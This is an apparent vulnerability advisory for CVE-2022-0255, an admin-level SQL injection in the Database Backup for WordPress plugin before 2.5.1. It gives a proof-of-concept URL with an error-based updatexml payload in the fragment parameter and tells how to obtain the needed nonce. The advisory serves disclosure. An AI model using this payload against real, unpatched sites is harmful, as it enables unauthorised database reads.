Database Backup for WordPress < 2.5.1 – Admin+ SQL Injection | CVE 2022-0255 | Plugin Vulnerabilities

Description

The plugin does not properly sanitise and escape the fragment parameter before using it in a SQL statement in the admin dashboard, leading to a SQL injection issue

Proof of Concept

https://example.com/wp-admin/?fragment=select%20updatexml(1,concat(0x7e,(select%20user())),0)::2.txt&_wpnonce=7347278aca

The nonce can be retrieved from the "Backup Now" and "Scheduled Backup" tabs of the plugin (/wp-admin/tools.php?page=wp-db-backup), look for action=save_backup_time&_wpnonce= in the source

Affects Plugins

Fixed in 2.5.1

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Submitter twitter

Verified

Yes

WPVDB ID

684bb06d-864f-4cba-ab0d-f83974d026fa

Timeline

Publicly Published

2022-01-24 (about 3 years ago)

Added

2022-01-24 (about 3 years ago)

Last Updated

2022-09-26 (about 3 years ago)

Other

Published

Title

Published

2021-07-24

Title

Edit Comments <= 0.3 - Unauthenticated SQL Injection

Published

2022-01-04

Title

Futurio Extra < 1.6.3 - Authenticated SQL Injection

Published

2024-05-15

Title

Tutor LMS < 2.7.1 - Authenticated (Instructor+) SQL Injection

Published

2024-12-02

Title

FAT Services Booking <= 5.6 - Unauthenticated SQL Injection

Published

2025-04-07

Title

Team Circle Image Slider With Lightbox < 1.0.5 - Authenticated (Admin+) SQL Injection